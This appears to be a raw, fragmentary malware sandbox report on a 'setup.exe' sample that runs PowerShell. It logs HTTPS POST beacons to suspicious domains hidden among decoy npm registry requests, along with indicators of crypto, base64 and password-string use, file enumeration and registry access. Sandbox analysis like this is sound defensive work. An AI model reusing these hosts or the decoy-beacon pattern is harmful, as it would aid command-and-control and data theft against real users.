_cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /semantic-release/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /playwright/latest?cb=3841180 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /playwright/latest?cb=3841180 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /undici?rand=6564163 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /undici?rand=6564163 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /pg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /pg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /react HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /react HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /underscore/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /underscore/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /babel-core?t=7864869347710 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /babel-core?t=7864869347710 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /create-react-app HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /create-react-app HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /hapi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /hapi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /commander/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /commander/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate"4a:T49e,Found HTTPS POST request to https://turbine.grandauto.cfd/ Found HTTPS POST request to https://turbine.grandauto.cfd/7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 Found HTTPS POST request to https://turbine.grandauto.cfd/GhyE.Q Found HTTPS POST request to https://turbine.grandauto.cfd/sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx Found HTTPS POST request to https://turbine.grandauto.cfd/iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf Found HTTPS POST request to https://turbine.grandauto.cfd/L7-hLz.9DFjOBP-ypN1hZh_AT4qt Found HTTPS GET request to https://ootip.submergejunkie.life/was0do6si2 Found HTTPS POST request to https://turbine.grandauto.cfd/tR4-YlU5Um-cyv-wP Found HTTPS GET request to https://jsonplaceholder.typicode.com/todos/130 Found HTTPS GET request to https://registry.npmjs.org/chai Found HTTPS GET request to https://api.github.com/repos/google/ExoPlayer/contributors Found HTTPS GET request to https://api.github.com/repos/laravel/laravel/commits Found HTTPS GET request to https://hub.docker.com/v2/repositories/library/golang/tags/ Found HTTPS GET request to https://aka.ms/installazurecliwindows Found HTTPS GET request to https://grantt.qumarox.icu/sdfkkiso874b:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006612) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006612) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00006612) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00006612) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00006612) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006612) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00006612) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00006612)4c:T125e,file/memory contains long string with (Indicator: "3des"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "AMSI") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp, 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp, 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp, 00000000-00006612.00000001.214679.08000000.00000004.mdmp, 00000000-00006612.00000001.214679.08040000.00000004.mdmp, 00000000-00006612.00000002.216597.07FC0000.00000004.mdmp, 00000000-00006612.00000002.216597.08020000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp, 00000000-00006612.00000001.214679.08000000.00000004.mdmp, 00000000-00006612.00000001.214679.08040000.00000004.mdmp, 00000000-00006612.00000002.216597.07FC0000.00000004.mdmp, 00000000-00006612.00000002.216597.08020000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00006612.00000001.214679.08000000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00006612.00000001.214679.08000000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00006612.00000001.214679.08000000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aes"; Source: "00000000-00006612.00000001.214679.08040000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00006612.00000001.214679.08040000.00000004.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00006612.00000001.214679.08040000.00000004.mdmp") Found string "aesmanaged" (Indicator: "aes"; Source: "00000000-00006612.00000001.214679.08040000.00000004.mdmp") Found string "ecdsacng" (Indicator: "ecdsa"; Source: "00000000-00006612.00000001.214679.08040000.00000004.mdmp") Found string "stringtobase64converter" (Indicator: "base64"; Source: "00000000-00006612.00000001.214679.08040000.00000004.mdmp") Found string "sqlaes256cbcalgorithm" (Indicator: "aes"; Source: "00000000-00006612.00000001.214679.080C0000.00000004.mdmp") Found string "sqlaes256cbcalgorithm" (Indicator: "aes256"; Source: "00000000-00006612.00000001.214679.080C0000.00000004.mdmp")4d:T654,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "setup.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "setup.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "setup.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "setup.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "setup.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "setup.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp")4e:Ta87,Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "setup.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "setup.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "setup.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "setup.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "setup.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "setup.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "setup.exe") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "setup.exe") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp")4f:T6f3,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.07FE0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00006612.00000001.214679.08000000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.08000000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.080C0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.080C0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.D57D0000.00000004.mdmp, 00000000-00006612.00000002.216597.D57D0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.D57D0000.00000004.mdmp, 00000000-00006612.00000002.216597.D57D0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00006612.00000001.214679.D57D0000.00000004.mdmp, 00000000-00006612.00000002.216597.D57D0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00006612.00000002.216597.08020000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00006612.00000002.216597.08020000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00006612.00000002.216597.08080000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00006612.00000002.216597.080E0000.00000004.mdmp")50:T990,"setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")51:T8b8,"powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; 